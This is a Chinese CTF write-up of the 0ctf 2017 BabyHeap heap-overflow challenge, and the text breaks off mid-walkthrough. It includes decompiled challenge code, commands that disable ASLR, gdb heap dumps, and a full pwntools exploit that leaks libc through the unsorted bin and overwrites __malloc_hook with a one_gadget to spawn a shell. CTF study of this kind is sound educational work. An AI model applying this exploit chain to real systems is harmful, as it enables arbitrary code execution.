fastbin_attack中的Arbitrary Alloc(例题)
具体例子原理网上很多,这里就不再赘述了,这里讲解一道fastbin_attack中的Arbitrary Alloc
题目来源:0ctf 2017 BabyHeap
参考资料:
https://blog.csdn.net/qq_36495104/article/details/106202135 #思路
CTF-wiki
https://www.yuque.com/hxfqg9/bin/bp97ri#sKWXZ #payload
https://blog.csdn.net/counsellor/article/details/81543197 #关闭地址随机化
附件:
链接: https://pan.baidu.com/s/1uG2cfQae0iwULtYvRmEBIw 密码: f1i6
–来自百度网盘超级会员V3的分享
准备工作
将文件下载下来,首先检查一下文件的保护情况:
可以看到保护全部开启(这还玩个毛线啊)
具体看一下各个保护:
Arch: amd64-64-little
这个说明程序是64位程序,小端序
RELRO: Full RELRO
Full RELRO开启,使整个 GOT 只读,从而无法被覆盖,进一步来说GOT表无法被修改
Stack: Canary found
对使用随机数每个函数进行保护,防止栈溢出
NX: NX enabled
不能向栈上直接注入shellcode
PIE: PIE enabled
地址随机化,我感觉这个保护是最恶心的
来看一下我的Linux环境:
Ubuntu版本:16.04
其中libc-2.23.so是我本机的libc文件
静态分析
整个程序相当于一个堆内存管理器,静态分析一下吧:
main 函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37
| __int64 __fastcall main(__int64 a1, char **a2, char **a3) { char *addr;
addr = get_addr(); while ( 1 ) { menu(); input(); switch ( (unsigned __int64)off_14F4 ) { case 1uLL: Allocate((__int64)addr); break; case 2uLL: Fill((__int64)addr); break; case 3uLL: Free((__int64)addr); break; case 4uLL: Dump((__int64)addr); break; case 5uLL: return 0LL; default: continue; } } }
|
主函数内容,包含菜单函数和四个堆功能函数
get_addr 函数(生成随机地址)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| char *get_addr() { int fd; char *addr; unsigned __int64 v3; __int64 buf[4];
buf[3] = __readfsqword(0x28u); setvbuf(stdin, 0LL, 2, 0LL); setvbuf(_bss_start, 0LL, 2, 0LL); alarm(60u); puts("===== Baby Heap in 2017 ====="); fd = open("/dev/urandom", 0); if ( fd < 0 || read(fd, buf, 0x10uLL) != 16 ) exit(-1); close(fd); addr = (char *)((buf[0] % 0x555555543000uLL + 0x10000) & 0xFFFFFFFFFFFFF000LL); v3 = (buf[1] % 0xE80uLL) & 0xFFFFFFFFFFFFFFF0LL; if ( mmap(addr, 0x1000uLL, 3, 34, -1, 0LL) != addr ) exit(-1); return &addr[v3]; }
|
这个函数可以使程序堆块信息存放在随机地址中,而不是固定的地址,因此我们很难通过找到存放堆块信息的地址来修改其地址从而控制程序的流程。
还需要提一句的是,这个函数有alarm函数,从程序运行60秒之后就会终止进程,如果不想在调试程序的时候被打断,可以对二进制文件进行patch。patch之后的可执行文件名为:babyheap_0ctf_2017_patch
返回的addr 指针 包含了 所有chunk 的 信息和 数据chunk 的指针
meau 函数
1 2 3 4 5 6 7 8 9
| void __cdecl menu() { puts("1. Allocate"); puts("2. Fill"); puts("3. Free"); puts("4. Dump"); puts("5. Exit"); printf("Command: "); }
|
打印菜单
Alloc 函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| void __fastcall Allocate(__int64 a1) { int i; int size; void *calloc_ptr;
for ( i = 0; i <= 15; ++i ) { if ( !*(_DWORD *)(24LL * i + a1) ) { printf("Size: "); size = input(); if ( size > 0 ) { if ( size > 4096 ) size = 4096; calloc_ptr = calloc(size, 1uLL); if ( !calloc_ptr ) exit(-1); *(_DWORD *)(24LL * i + a1) = 1; *(_QWORD *)(a1 + 24LL * i + 8) = size; *(_QWORD *)(a1 + 24LL * i + 16) = calloc_ptr; printf("Allocate Index %d\n", (unsigned int)i); } return; } } }
|
传入的参数地址是get_addr 随机生成的地址。allocate函数是来创建堆块的,申请chunk最大的大小为4096。
首先输入堆块的content_size,然后调用calloc函数根据输入的content_size大小来创建堆块,最后堆块的信息保存在get_addr指针所指向的地址中。需要注意的是堆块是由 calloc 分配的,所以 chunk 中的内容全都为\x00。
请注意,堆块的index是从0开始的
因此程序的结构体为:
●chunk_flag:用来判断堆块是否存在
●chunk_content_size:#记录content的大小
●chunk_data_ptr:指向calloc出来的chunk_data
Fill 函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| void __fastcall Fill(__int64 a1) { signed int v1; int v2;
printf("Index: "); v1 = input(); if ( (unsigned int)v1 <= 0xF && *(_DWORD *)(24LL * v1 + a1) == 1 ) { printf("Size: "); v2 = input(); if ( v2 > 0 ) { printf("Content: "); read_func2(*(_QWORD *)(24LL * v1 + a1 + 16), v2); } } }
|
上图是Fill函数分伪代码,这个函数的功能比较有意思,漏洞也是存在这个函数中的。
在填充内容的功能中,调用input函数来输入堆块的大小,并没有设置字符串结尾。而且比较有意思的是,这次又让我们重新输入了content_size,但是程序并没有将原来结构体中的content_size更改。且执行这个函数之后allocate chunk时堆块的size域没有改变,所以这里就出现了任意堆溢出的情形。
Free 函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| void __fastcall Free(__int64 a1) { signed int v1;
printf("Index: "); v1 = input(); if ( (unsigned int)v1 <= 0xF && *(_DWORD *)(24LL * v1 + a1) == 1 ) { *(_DWORD *)(24LL * v1 + a1) = 0; *(_QWORD *)(24LL * v1 + a1 + 8) = 0LL; free(*(void **)(24LL * v1 + a1 + 16)); *(_QWORD *)(24LL * v1 + a1 + 16) = 0LL; } }
|
输入序号,释放chunk。将 flag 字段,size 字段清0,free了数据chunk的指针同时也清0,不存在uaf
Dump 函数
1 2 3 4 5 6 7 8 9 10 11 12 13
| void __fastcall Dump(__int64 a1) { signed int v1;
printf("Index: "); v1 = input(); if ( (unsigned int)v1 <= 0xF && *(_DWORD *)(24LL * v1 + a1) == 1 ) { puts("Content: "); write_func(*(_QWORD *)(24LL * v1 + a1 + 16), *(_QWORD *)(24LL * v1 + a1 + 8)); puts(byte_14F1); } }
|
输入序号,打印内容
gdb 动态调试
还记得之前get_addr这个函数吗?这个函数主要使用来生成随机地址,其中指针也存放在哪里。
关闭ASLR保护
由于这个程序开启了PIE保护,为了方便调试程序及查看堆内存,因此我们将Linux的ALSR(地址空间随机化)进行关闭。首先看一下ALSR开启的状态,可以使用下面的任意其中一种命令
1 2 3 4 5 6 7 8 9 10 11
| ubuntu@ubuntu:~$ cat /proc/sys/kernel/randomize_va_space 2 ubuntu@ubuntu:~$ sysctl -a --pattern randomize kernel.randomize_va_space = 2 ubuntu@ubuntu:~$
### 0 = 关闭 1 = 半随机。共享库、栈、mmap() 以及 VDSO 将被随机化。(PIE也会影响heap的随机化) 2 = 全随机。除了1中所述,还有heap。 ###
|
现在关闭ASLR,关闭方法如下:
方法一: 手动修改randomize_va_space文件
上面介绍的randomize_va_space文件的枚举值含义,设置的值不同,linux内核加载程序的地址空间的策略就会不同。比较简单明了。这里0代表关闭ASLR。
1 2 3
| echo 0 > /proc/sys/kernel/randomize_va_space #注意,这里是先进root权限,后执行。 #重启之后会恢复默认
|
方法二: 使用sysctl控制ASLR
1 2 3
| sysctl -w kernel.randomize_va_space=0 #重启之后将恢复默认 #如果需要永久保存配置,需要在配置文件 /etc/sysctl.conf 中增加这个选项。
|
方法三: 使用setarch控制单个程序的随机化
如果你想历史关闭单个程序的ASLR,使用setarch是很好的选择。setarch命令如其名,改变程序的运行架构环境,并可以自定义环境flag。
1 2
| setarch `uname -m` -R ./your_program #-R参数代表关闭地址空间随机化(开启ADDR_NO_RANDOMIZE)
|
方法四: 在GDB场景下,使用set disable-randomization off
在调试特定程序时,可以通过set disable-randomization命令开启或者关闭地址空间随机化。默认是关闭随机化的,也就是on状态。
当然,这里开启,关闭和查看的方法看起来就比较正规了。
1 2 3 4 5 6
| 关闭ASLR: set disable-randomization on 开启ASLR: set disable-randomization off 查看ASLR状态: show disable-randomization
|
我们如何找到那个随机地址呢?通过多次对程序gdb调试,发现了一直变化的地址(此时的ASLR已关闭,参见下文章下面的内容),下面的代码框之中是两次gdb调试的内存分布:
通过对比发现,变动的只有第一行的地址:
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0x40729d6e2000 0x40729d6e3000 rw-p 1000 0
0x2dd727226000 0x2dd727227000 rw-p 1000 0
到这里,可以猜测一下,程序的指针应该也存放在这片内存区域中。
我们重新gdb调试,通过执行函数Allocate和fill,来看一下这片内存:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115
| giantbranch@ubuntu:/mnt/hgfs/PWN题/Range/ctfshow/ctf-pwn-challenges/heap/fastbin-attack/babyheap_0c tf_2017$ gdb babyheap_0ctf_2017 GNU gdb (Ubuntu 7.11.1-0ubuntu1~16.5) 7.11.1 Copyright (C) 2016 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <http: This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. Type "show copying" and "show warranty" for details. This GDB was configured as "x86_64-linux-gnu". Type "show configuration" for configuration details. For bug reporting instructions, please see: <http: Find the GDB manual and other documentation resources online at: <http: For help, type "help". Type "apropos word" to search for commands related to "word"... pwndbg: loaded 175 commands. Type pwndbg [filter] for a list. pwndbg: created $rebase, $ida gdb functions (can be used with print/break) Reading symbols from babyheap_0ctf_2017...(no debugging symbols found)...done. pwndbg> r Starting program: /mnt/hgfs/PWN题/Range/ctfshow/ctf-pwn-challenges/heap/fastbin-attack/babyheap_0ctf_2017/babyheap_0ctf_2017 ===== Baby Heap in 2017 ===== 1. Allocate 2. Fill 3. Free 4. Dump 5. Exit Command: 1 Size: 20 Allocate Index 0 1. Allocate 2. Fill 3. Free 4. Dump 5. Exit Command: 2 Index: 0 Size: 40 Content: aaaaaaaaaaaaaaaaaa ^C Program received signal SIGINT, Interrupt. 0x00007ffff7b04360 in __read_nocancel () at ../sysdeps/unix/syscall-template.S:84 84 ../sysdeps/unix/syscall-template.S: No such file or directory. LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA ───────────────────────────────────────────[ REGISTERS ]─────────────────────────────────────────── RAX 0xfffffffffffffe00 RBX 0x0 RCX 0x7ffff7b04360 (__read_nocancel+7) ◂— cmp rax, -0xfff RDX 0x15 RDI 0x0 RSI 0x555555757023 ◂— 0x20fe10000000000 R8 0x7ffff7fdd700 ◂— 0x7ffff7fdd700 R9 0x9 R10 0x0 R11 0x246 R12 0x555555554a40 ◂— xor ebp, ebp R13 0x7fffffffdd50 ◂— 0x1 R14 0x0 R15 0x0 RBP 0x7fffffffdc20 —▸ 0x7fffffffdc50 —▸ 0x7fffffffdc70 —▸ 0x5555555553e0 ◂— push r15 RSP 0x7fffffffdbf8 —▸ 0x5555555551fd ◂— mov qword ptr [rbp - 8], rax RIP 0x7ffff7b04360 (__read_nocancel+7) ◂— cmp rax, -0xfff ────────────────────────────────────────────[ DISASM ]───────────────────────────────────────────── ► 0x7ffff7b04360 <__read_nocancel+7> cmp rax, -0xfff 0x7ffff7b04366 <__read_nocancel+13> jae read+73 <0x7ffff7b04399> ↓ 0x7ffff7b04399 <read+73> mov rcx, qword ptr [rip + 0x2ccad8] 0x7ffff7b043a0 <read+80> neg eax 0x7ffff7b043a2 <read+82> mov dword ptr fs:[rcx], eax 0x7ffff7b043a5 <read+85> or rax, 0xffffffffffffffff 0x7ffff7b043a9 <read+89> ret 0x7ffff7b043aa nop word ptr [rax + rax] 0x7ffff7b043b0 <write> cmp dword ptr [rip + 0x2d2389], 0 <0x7ffff7dd6740> 0x7ffff7b043b7 <write+7> jne write+25 <0x7ffff7b043c9> ↓ 0x7ffff7b043c9 <write+25> sub rsp, 8 ─────────────────────────────────────────────[ STACK ]───────────────────────────────────────────── 00:0000│ rsp 0x7fffffffdbf8 —▸ 0x5555555551fd ◂— mov qword ptr [rbp - 8], rax 01:0008│ 0x7fffffffdc00 ◂— 0x28 02:0010│ 0x7fffffffdc08 —▸ 0x555555757010 ◂— 0x6161616161616161 ('aaaaaaaa') 03:0018│ 0x7fffffffdc10 ◂— 0x13 ... ↓ 05:0028│ rbp 0x7fffffffdc20 —▸ 0x7fffffffdc50 —▸ 0x7fffffffdc70 —▸ 0x5555555553e0 ◂— push r15 06:0030│ 0x7fffffffdc28 —▸ 0x555555554f48 ◂— jmp 0x555555554f4e 07:0038│ 0x7fffffffdc30 ◂— 0x0 ───────────────────────────────────────────[ BACKTRACE ]─────────────────────────────────────────── ► f 0 7ffff7b04360 __read_nocancel+7 f 1 5555555551fd f 2 555555554f48 f 3 555555555188 f 4 7ffff7a2d840 __libc_start_main+240 Program received signal SIGINT pwndbg> vmmap LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA 0x3b0326206000 0x3b0326207000 rw-p 1000 0 0x555555554000 0x555555556000 r-xp 2000 0 /mnt/hgfs/PWN题/Range/ctfshow/ctf-pwn-challenges/heap/fastbin-attack/babyheap_0ctf_2017/babyheap_0ctf_2017 0x555555755000 0x555555756000 r--p 1000 1000 /mnt/hgfs/PWN题/Range/ctfshow/ctf-pwn-challenges/heap/fastbin-attack/babyheap_0ctf_2017/babyheap_0ctf_2017 0x555555756000 0x555555757000 rw-p 1000 2000 /mnt/hgfs/PWN题/Range/ctfshow/ctf-pwn-challenges/heap/fastbin-attack/babyheap_0ctf_2017/babyheap_0ctf_2017 0x555555757000 0x555555778000 rw-p 21000 0 [heap] 0x7ffff7a0d000 0x7ffff7bcd000 r-xp 1c0000 0 /lib/x86_64-linux-gnu/libc-2.23.so 0x7ffff7bcd000 0x7ffff7dcd000 ---p 200000 1c0000 /lib/x86_64-linux-gnu/libc-2.23.so 0x7ffff7dcd000 0x7ffff7dd1000 r--p 4000 1c0000 /lib/x86_64-linux-gnu/libc-2.23.so 0x7ffff7dd1000 0x7ffff7dd3000 rw-p 2000 1c4000 /lib/x86_64-linux-gnu/libc-2.23.so 0x7ffff7dd3000 0x7ffff7dd7000 rw-p 4000 0 0x7ffff7dd7000 0x7ffff7dfd000 r-xp 26000 0 /lib/x86_64-linux-gnu/ld-2.23.so 0x7ffff7fdc000 0x7ffff7fdf000 rw-p 3000 0 0x7ffff7ff7000 0x7ffff7ffa000 r--p 3000 0 [vvar] 0x7ffff7ffa000 0x7ffff7ffc000 r-xp 2000 0 [vdso] 0x7ffff7ffc000 0x7ffff7ffd000 r--p 1000 25000 /lib/x86_64-linux-gnu/ld-2.23.so 0x7ffff7ffd000 0x7ffff7ffe000 rw-p 1000 26000 /lib/x86_64-linux-gnu/ld-2.23.so 0x7ffff7ffe000 0x7ffff7fff000 rw-p 1000 0 0x7ffffffde000 0x7ffffffff000 rw-p 21000 0 [stack] 0xffffffffff600000 0xffffffffff601000 r-xp 1000 0 [vsyscall] pwndbg>
|
再看一下 0x3b0326206000 这片内存区域,确定是程序结构体中指针存放的位置,标注一下:
这里我重新调试了一个gdb
1 2 3 4 5 6 7 8 9 10
| 0xb422b6be0c0: 0x0000000000000000 0x0000000000000000 0xb422b6be0d0: 0x0000000000000001 0x0000000000000014 #chunk_flag #size 0xb422b6be0e0: 0x0000555555757010 0x0000000000000000 #chunk_data_ptr 0xb422b6be0f0: 0x0000000000000000 0x0000000000000000 0xb422b6be100: 0x0000000000000000 0x0000000000000000 0xb422b6be110: 0x0000000000000000 0x0000000000000000 0xb422b6be120: 0x0000000000000000 0x0000000000000000 0xb422b6be130: 0x0000000000000000 0x0000000000000000
|
exp 讲解
exp的主要内容如下:
exp来自@yichen师傅:https://www.yuque.com/hxfqg9/bin/bp97ri#sKWXZ
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121
|
from pwn import * context.log_level = 'debug' p = process('./babyheap_0ctf_2017_patch') elf = ELF('./babyheap_0ctf_2017_patch')
def alloc(size): p.recvuntil("Command: ") p.sendline("1") p.recvuntil("Size: ") p.sendline(str(size)) def fill(idx, content): p.recvuntil("Command: ") p.sendline("2") p.recvuntil("Index: ") p.sendline(str(idx)) p.recvuntil("Size: ") p.sendline(str(len(content))) p.recvuntil("Content: ") p.send(content) def free(idx): p.recvuntil("Command: ") p.sendline("3") p.recvuntil("Index: ") p.sendline(str(idx)) def dump(idx): p.recvuntil("Command: ") p.sendline("4") p.recvuntil("Index: ") p.sendline(str(idx)) p.recvline() return p.recvline() def unsorted_offset_arena(idx): word_bytes = context.word_size / 8 offset = 4 offset += 4 offset += word_bytes * 10 offset += word_bytes * 2 offset += idx * 2 * word_bytes offset -= word_bytes * 2 return offset
alloc(0x10) alloc(0x10) alloc(0x10) alloc(0x10) alloc(0x80)
free(1) free(2)
payload = p64(0)*3 payload += p64(0x21) payload += p64(0)*3 payload += p64(0x21) payload += p8(0x80) fill(0, payload)
payload = p64(0)*3 payload += p64(0x21) fill(3, payload)
alloc(0x10) alloc(0x10)
payload = p64(0)*3 payload += p64(0x91) fill(3, payload)
alloc(0x80)
free(4)
unsorted_offset_mainarena=unsorted_offset_arena(5) unsorted_addr=u64(dump(2)[:8].strip().ljust(8, "\x00")) libc_base=unsorted_addr-0x3c4b20-unsorted_offset_mainarena log.info("libc_base: "+hex(libc_base))
alloc(0x60)
free(4)
payload = p64(libc_base+0x3c4aed) fill(2, payload)
alloc(0x60) alloc(0x60)
payload = p8(0)*3 payload += p64(0)*2 payload += p64(libc_base+0x4527a) fill(6, payload)
alloc(255)
p.interactive()
|
漏洞利用思路
从上面的内容可以看出,主要的漏洞是任意长度堆溢出。由于该程序几乎所有保护都开启了,所以我们必须要有一些泄漏才可以控制程序的流程。基本利用思路如下:
- 利用 unsorted bin 地址泄漏 libc 基地址。(用unsortedbin的原因之后再说)
- 利用 fastbin attack中的Arbitrary Alloc技术将chunk 分配到 malloc_hook 附近。
1. leak libc_addr
1-1 模仿程序功能
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| def alloc(size): p.recvuntil("Command: ") p.sendline("1") p.recvuntil("Size: ") p.sendline(str(size)) def fill(idx, content): p.recvuntil("Command: ") p.sendline("2") p.recvuntil("Index: ") p.sendline(str(idx)) p.recvuntil("Size: ") p.sendline(str(len(content))) p.recvuntil("Content: ") p.send(content) def free(idx): p.recvuntil("Command: ") p.sendline("3") p.recvuntil("Index: ") p.sendline(str(idx)) def dump(idx): p.recvuntil("Command: ") p.sendline("4") p.recvuntil("Index: ") p.sendline(str(idx)) p.recvline() return p.recvline()
|
这4个函数分别对应程序的四个主要功能,这里就不多说了。
1-2 申请 5个chunk
由于我们希望使用 unsorted bin 来泄漏 libc 基地址,所以必须要有 chunk 可以被链接到 unsorted bin 中,所以该 chunk 不能被回收到 fastbin chunk,也不能和 top chunk 相邻。因为后者在不是fastbin 的情况下,会被合并到 top chunk 中。具体设计如下:
1 2 3 4 5
| alloc(0x10) alloc(0x10) alloc(0x10) alloc(0x10) alloc(0x80)
|
执行完此payload之后的heap情况如下:
1 2 3 4 5 6 7 8 9 10 11 12
| pwndbg> x/50gx 0x555555757000 0x555555757000: 0x0000000000000000 0x0000000000000021 #index0 0x555555757010: 0x0000000000000000 0x0000000000000000 0x555555757020: 0x0000000000000000 0x0000000000000021 #index1 0x555555757030: 0x0000000000000000 0x0000000000000000 0x555555757040: 0x0000000000000000 0x0000000000000021 #index2 0x555555757050: 0x0000000000000000 0x0000000000000000 0x555555757060: 0x0000000000000000 0x0000000000000021 #index3 0x555555757070: 0x0000000000000000 0x0000000000000000 0x555555757080: 0x0000000000000000 0x0000000000000091 #index4 ......(省略内容均为空) 0x555555757110: 0x0000000000000000 0x0000000000020ef1 #top_chunk
|
此时程序结构体中的情况:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| 0x5fcead98720: 0x0000000000000000 0x0000000000000000 0x5fcead98730: 0x0000000000000001 0x0000000000000010 #index0 0x5fcead98740: 0x0000555555757010 0x0000000000000001 #index1 0x5fcead98750: 0x0000000000000010 0x0000555555757030 0x5fcead98760: 0x0000000000000001 0x0000000000000010 #index2 0x5fcead98770: 0x0000555555757050 0x0000000000000001 #index3 0x5fcead98780: 0x0000000000000010 0x0000555555757070 0x5fcead98790: 0x0000000000000001 0x0000000000000080 #index4 0x5fcead987a0: 0x0000555555757090 0x0000000000000000 0x5fcead987b0: 0x0000000000000000 0x0000000000000000
|
1-3 free创建的index1和index2
执行此部分payload,来看一下堆状况:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| pwndbg> x/50gx 0x555555757000 0x555555757000: 0x0000000000000000 0x0000000000000021 0x555555757010: 0x0000000000000000 0x0000000000000000 0x555555757020: 0x0000000000000000 0x0000000000000021 0x555555757030: 0x0000000000000000 0x0000000000000000 0x555555757040: 0x0000000000000000 0x0000000000000021 0x555555757050: 0x0000555555757020 0x0000000000000000 0x555555757060: 0x0000000000000000 0x0000000000000021 0x555555757070: 0x0000000000000000 0x0000000000000000 0x555555757080: 0x0000000000000000 0x0000000000000091 0x555555757090: 0x0000000000000000 0x0000000000000000 .....(省略内容均为空) 0x555555757110: 0x0000000000000000 0x0000000000020ef1 .....(省略内容均为空) pwndbg>
|
此时的bin和main_arena情况:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| pwndbg> bin fastbins 0x20: 0x0000555555757020->0x555555757040 ◂— 0x0 0x30: 0x0 0x40: 0x0 0x50: 0x0 0x60: 0x0 0x70: 0x0 0x80: 0x0 unsortedbin all: 0x0 smallbins empty largebins empty pwndbg> x/16gx &main_arena 0x7ffff7dd1b20 <main_arena>: 0x0000000000000000 0x0000555555757040 0x7ffff7dd1b30 <main_arena+16>: 0x0000000000000000 0x0000000000000000 0x7ffff7dd1b40 <main_arena+32>: 0x0000000000000000 0x0000000000000000 0x7ffff7dd1b50 <main_arena+48>: 0x0000000000000000 0x0000000000000000 0x7ffff7dd1b60 <main_arena+64>: 0x0000000000000000 0x0000000000000000 0x7ffff7dd1b70 <main_arena+80>: 0x0000000000000000 0x0000555555757110 0x7ffff7dd1b80 <main_arena+96>: 0x0000000000000000 0x00007ffff7dd1b78 0x7ffff7dd1b90 <main_arena+112>: 0x00007ffff7dd1b78 0x00007ffff7dd1b88 pwndbg>
|
程序的结构体状况如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| 0x5fcead98730: 0x0000000000000001 0x0000000000000010 #index0 0x5fcead98740: 0x0000555555757010 0x0000000000000000 #index1(chunk_flag置零) 0x5fcead98750: 0x0000000000000000 0x0000000000000000 #chunk_content_size置零 #chunk_data_ptr置空 0x5fcead98760: 0x0000000000000000 0x0000000000000000 #index2(chunk_flag置零) #chunk_data_size置零 0x5fcead98770: 0x0000000000000000 0x0000000000000001 #chunk_data_ptr置空 #index3 0x5fcead98780: 0x0000000000000010 0x0000555555757070 0x5fcead98790: 0x0000000000000001 0x0000000000000080 #index4 0x5fcead987a0: 0x0000555555757090 0x0000000000000000 0x5fcead987b0: 0x0000000000000000 0x0000000000000000
|
1-4 对 index0 进行 fill 操作,溢出修改 index2 和 fd 指针
1 2 3 4 5 6
| payload = p64(0)*3 payload += p64(0x21) payload += p64(0)*3 payload += p64(0x21) payload += p8(0x80) fill(0, payload)
|
还记得上面提到的程序漏洞吗?
第一次执行Allocate函数时chunk_content_size是我们指定的,但是fill的时候并没有将新的chunk_content_size写入到结构体中,并且之前alloc chunk时指定的堆块size大小没有发生改变,所以这里就出现了任意堆溢出的情形。
这一小段payload的目的是:通过fill index0溢出修改index2的fd指针为index4的地址,此处的payload只用修改fd的最后一个字节为0x80即可。
执行payload之后的内存空间如下:
chunk2->fd已成功修改为chunk4的起始地址(这个起始地址是指向chunk header的)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| pwndbg> x/50gx 0x555555757000 0x555555757000: 0x0000000000000000 0x0000000000000021 0x555555757010: 0x0000000000000000 0x0000000000000000 0x555555757020: 0x0000000000000000 0x0000000000000021 0x555555757030: 0x0000000000000000 0x0000000000000000 0x555555757040: 0x0000000000000000 0x0000000000000021 0x555555757050: 0x0000555555757080 0x0000000000000000 -------------------------------------------------------------- 执行payload前原来的内容为: 0x555555757050: 0x0000555555757020 0x0000000000000000 -------------------------------------------------------------- 0x555555757060: 0x0000000000000000 0x0000000000000021 0x555555757070: 0x0000000000000000 0x0000000000000000 0x555555757080: 0x0000000000000000 0x0000000000000091 0x555555757090: 0x0000000000000000 0x0000000000000000 .....(省略内容均为空) 0x555555757110: 0x0000000000000000 0x0000000000020ef1 .....(省略内容均为空) pwndbg>
|
1-5 对 index3 进行fill操作,将 index4 的大小修改为 0x21
1 2 3 4 5
|
payload = p64(0)*3 payload += p64(0x21) fill(3, payload)
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| 0x555555757000: 0x0000000000000000 0x0000000000000021 0x555555757010: 0x0000000000000000 0x0000000000000000 0x555555757020: 0x0000000000000000 0x0000000000000021 0x555555757030: 0x0000000000000000 0x0000000000000000 0x555555757040: 0x0000000000000000 0x0000000000000021 0x555555757050: 0x0000555555757080 0x0000000000000000 0x555555757060: 0x0000000000000000 0x0000000000000021 0x555555757070: 0x0000000000000000 0x0000000000000000 0x555555757080: 0x0000000000000000 0x0000000000000021 -------------------------------------------------------------- 执行payload前原来的内容为: 0x555555757080: 0x0000000000000000 0x0000000000000091 -------------------------------------------------------------- .....(省略内容均为空) 0x555555757110: 0x0000000000000000 0x0000000000020ef1 .....(省略内容均为空) 0x555555757180: 0x0000000000000000 0x0000000000000000 pwndbg>
|
再次强调,在申请fastbin中内存时,会检查被释放堆块的size(大小)是否在fastbin的范围内,如果不在,程序则异常退出,这有关于fastbin的机制。结构体状况未发生改变。
1-6 申请 index4
1 2 3 4
| alloc(0x10) alloc(0x10)
|
首先是两个malloc,前面fastbin里一开始是两个chunk,分别为index2->index1,后来我们修改index2->fd为index4的地址,fastbin里变为
index2->index4。第一个malloc会先分配index2给我们(fastbin分配原则是LIFO即后进先出),第二个malloc会将index4分配给我们。
看一下堆:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| pwndbg> heap Allocated chunk | PREV_INUSE Addr: 0x555555757000 Size: 0x21
Allocated chunk | PREV_INUSE Addr: 0x555555757020 Size: 0x21
Allocated chunk | PREV_INUSE Addr: 0x555555757040 Size: 0x21
Allocated chunk | PREV_INUSE Addr: 0x555555757060 Size: 0x21
Allocated chunk Addr: 0x555555757080 Size: 0x00
pwndbg>
|
此时的内存:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| pwndbg> x/50gx 0x555555757000 0x555555757000: 0x0000000000000000 0x0000000000000021 0x555555757010: 0x0000000000000000 0x0000000000000000 0x555555757020: 0x0000000000000000 0x0000000000000021 0x555555757030: 0x0000000000000000 0x0000000000000000 0x555555757040: 0x0000000000000000 0x0000000000000021 0x555555757050: 0x0000000000000000 0x0000000000000000 0x555555757060: 0x0000000000000000 0x0000000000000021 0x555555757070: 0x0000000000000000 0x0000000000000000 0x555555757080: 0x0000000000000000 0x0000000000000021 0x555555757090: 0x0000000000000000 0x0000000000000000 .....(省略内容均为空) 0x555555757110: 0x0000000000000000 0x0000000000020ef1 0x555555757120: 0x0000000000000000 0x0000000000000000 .....(省略内容均为空) 0x555555757180: 0x0000000000000000 0x0000000000000000 pwndbg>
|
此时的结构体状况:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| 0x5fcead98730: 0x0000000000000001 0x0000000000000010 0x5fcead98740: 0x0000555555757010 0x0000000000000001 0x5fcead98750: 0x0000000000000010 0x0000555555757050 0x5fcead98760: 0x0000000000000001 0x0000000000000010 0x5fcead98770: 0x0000555555757090 0x0000000000000001 0x5fcead98780: 0x0000000000000010 0x0000555555757070 0x5fcead98790: 0x0000000000000001 0x0000000000000080 0x5fcead987a0: 0x0000555555757090 0x0000000000000000 0x5fcead987b0: 0x0000000000000000 0x0000000000000000
|
注意,此时我们有两个地方指向index4:
index4的content指针(程序的正常指向)
index2的content指针 (通过执行payload中malloc之后的指向,参照上方代码框中的结构体)
第二个malloc得到的是index为2的chunk,这与程序中的Allocate函数有关,可以回顾一下前面的IDA代码。
也就是说假如我们现在要fill index2的内容,那么其实上是修改index4的内容。
1-7 修改 index4 的 size 为0x91
1 2 3 4
| payload = p64(0)*3 payload += p64(0x91) fill(3, payload)
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
